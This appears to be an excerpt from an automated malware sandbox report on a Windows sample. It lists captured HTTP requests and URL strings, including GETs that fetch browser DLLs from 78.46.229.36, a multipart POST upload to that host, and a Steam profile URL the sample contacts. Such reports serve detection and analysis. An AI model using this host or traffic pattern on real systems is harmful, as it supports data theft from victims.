Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Cache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Host: 78.46.229.36Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000005.00000002.1259440818.00000000079B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft=
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: yU3icg18lq.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000005.00000002.1257996992.00000000063CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000006.00000002.1331090186.0000000004C86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1342727823.00000000073C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1256212858.0000000005361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1331090186.0000000004B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: powershell.exe, 00000006.00000002.1331090186.0000000004C86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1342727823.00000000073C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1674258120.0000000019D6D000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://78.46.229.36
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/D
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/R
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/ets
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/f
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/freebl3.dll
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/mozglue.dll
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/msvcp140.dll
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/msvcp140.dlla
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/nss3.dllg$
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/nss3.dll~$
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/otti
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/pet
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/softokn3.dll
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/sqlm.dll
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/sqlm.dlla
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36/vcruntime140.dll
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.3625763b9287ant-Disposition:
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36AECFH
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://78.46.229.36JJKFC
Source: FCAKFCGC.13.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.1256212858.0000000005361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1331090186.0000000004B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB_q
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: FCAKFCGC.13.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: FCAKFCGC.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: FCAKFCGC.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=96N66CvLHl
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=GRA9
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=yp9unEzrjc_Z&amp
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Zj8Lt-uyXH8R&
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=KrKRjQbCfNh0&
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=n5zImpoIZ8N
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: FCAKFCGC.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FCAKFCGC.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FCAKFCGC.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000006.00000002.1331090186.0000000004C86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1342727823.00000000073C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: https://mozilla.org0/
Source: powershell.exe, 00000005.00000002.1257996992.00000000063CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1334348181.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199658817715
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: powershell.exe, 00000006.00000002.1334348181.00000000061CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1347040814.0000000009099000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 0000000D.00000002.1661591240.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715/badges
Source: RegAsm.exe, 0000000D.00000002.1661591240.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmp, 76561199658817715[1].htm.13.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715/inventory/
Source: RegAsm.exe, 0000000D.00000002.1661591240.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199658817715Q
